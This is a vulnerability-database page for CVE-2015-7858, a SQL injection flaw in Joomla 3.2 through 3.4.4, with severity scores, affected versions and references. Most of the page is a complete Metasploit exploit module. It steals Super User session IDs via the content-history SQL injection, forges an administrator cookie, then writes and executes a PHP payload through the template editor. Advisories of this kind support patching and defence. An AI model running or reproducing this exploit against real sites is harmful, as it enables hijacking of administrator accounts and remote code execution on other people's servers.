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CVE-2015-7858 : Detail

CVE-2015-7858

SQL Injection
A03-Injection
81.42%V3
Network
2015-10-29 19:00 +00:00
2017-09-12 07:57 +00:00
CVE.org
NVD

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Descriptions

SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands via unspecified vectors, a different vulnerability than CVE-2015-7297.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metric Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38797

Publication date : 2015-11-22 23:00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Joomla Content History SQLi Remote Code Execution", 'Description' => %q{ This module exploits a SQL injection vulnerability found in Joomla versions 3.2 up to 3.4.4. The vulnerability exists in the Content History administrator component in the core of Joomla. Triggering the SQL injection makes it possible to retrieve active Super User sessions. The cookie can be used to login to the Joomla administrator backend. By creating a new template file containing our payload, remote code execution is made possible. }, 'License' => MSF_LICENSE, 'Author' => [ 'Asaf Orpani', # Vulnerability discovery 'xistence ' # Metasploit module ], 'References' => [ [ 'CVE', '2015-7857' ], # Admin session hijacking [ 'CVE', '2015-7297' ], # SQLi [ 'CVE', '2015-7857' ], # SQLi [ 'CVE', '2015-7858' ], # SQLi [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ], [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ] ], 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as POST data, so # really it's unlimited 'Space' => 262144, # 256k }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Joomla 3.x <= 3.4.4', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 23 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) ], self.class) end def check # Request using a non-existing table res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.body =~ /`(.*)_ucm_history`/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)" # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'vars_get' => { 'option' => 'com_contenthistory', 'view' => 'history', 'list[ordering]' => '', 'item_id' => '1', 'type_id' => '1', 'list[select]' => sql } }) return res end def exploit # Request using a non-existing table first, to retrieve the table prefix res = sqli(rand_text_alphanumeric(rand(10)+6)) if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/ table_prefix = $1 print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") end # Retrieve the admin session using our retrieved table prefix res = sqli("#{table_prefix}_") if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/ auth_cookie_part = $1[0...-1] print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") else fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") end # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php") }) if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ cookie_begin = $1 print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") end # Modify cookie to authenticated admin auth_cookie = cookie_begin auth_cookie << "=" auth_cookie << auth_cookie_part auth_cookie << ";" # Authenticated session res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie }) if res && res.code == 200 && res.body =~ /Administration - Control Panel/ print_status("#{peer} - Successfully authenticated as Administrator") else fail_with(Failure::Unknown, "#{peer} - Session failure") end # Retrieve template view res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'templates' } }) # We try to retrieve and store the first template found if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ template_id = $1 file_id = $2 else fail_with(Failure::Unknown, "Unable to retrieve template") end filename = rand_text_alphanumeric(rand(10)+6) # Create file print_status("#{peer} - Creating file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'task' => 'template.createFile', 'id' => template_id, 'file' => file_id, }, 'vars_post' => { 'type' => 'php', 'name' => filename } }) # Grab token if res && res.code == 303 && res.headers['Location'] location = res.headers['Location'] print_status("#{peer} - Following redirect to [ #{location} ]") res = send_request_cgi( 'uri' => location, 'method' => 'GET', 'cookie' => auth_cookie ) # Retrieving template token if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ token = $1 print_status("#{peer} - Token [ #{token} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") end if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ template_path = $1 print_status("#{peer} - Template path [ #{template_path} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") end else fail_with(Failure::Unknown, "#{peer} - Creating file failed") end filename_base64 = Rex::Text.encode_base64("/#{filename}.php") # Inject payload data into file print_status("#{peer} - Insert payload into file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'template', 'id' => template_id, 'file' => filename_base64, }, 'vars_post' => { 'jform[source]' => payload.encoded, 'task' => 'template.apply', token => '1', 'jform[extension_id]' => template_id, 'jform[filename]' => "/#{filename}.php" } }) if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") else fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") end # Request payload register_files_for_cleanup("#{filename}.php") print_status("#{peer} - Executing payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), 'cookie' => auth_cookie }) end end

Products Mentioned

Configuraton 0

Joomla>>Joomla\! >> Version 3.2.0

Joomla>>Joomla\! >> Version 3.2.1

Joomla>>Joomla\! >> Version 3.2.2

Joomla>>Joomla\! >> Version 3.2.3

Joomla>>Joomla\! >> Version 3.2.4

Joomla>>Joomla\! >> Version 3.3.0

Joomla>>Joomla\! >> Version 3.3.1

Joomla>>Joomla\! >> Version 3.3.2

Joomla>>Joomla\! >> Version 3.3.3

Joomla>>Joomla\! >> Version 3.3.4

Joomla>>Joomla\! >> Version 3.4.0

Joomla>>Joomla\! >> Version 3.4.1

Joomla>>Joomla\! >> Version 3.4.2

Joomla>>Joomla\! >> Version 3.4.3

References

http://www.securityfocus.com/bid/77295
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1033950
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/38797/
Tags : exploit, x_refsource_EXPLOIT-DB

More information
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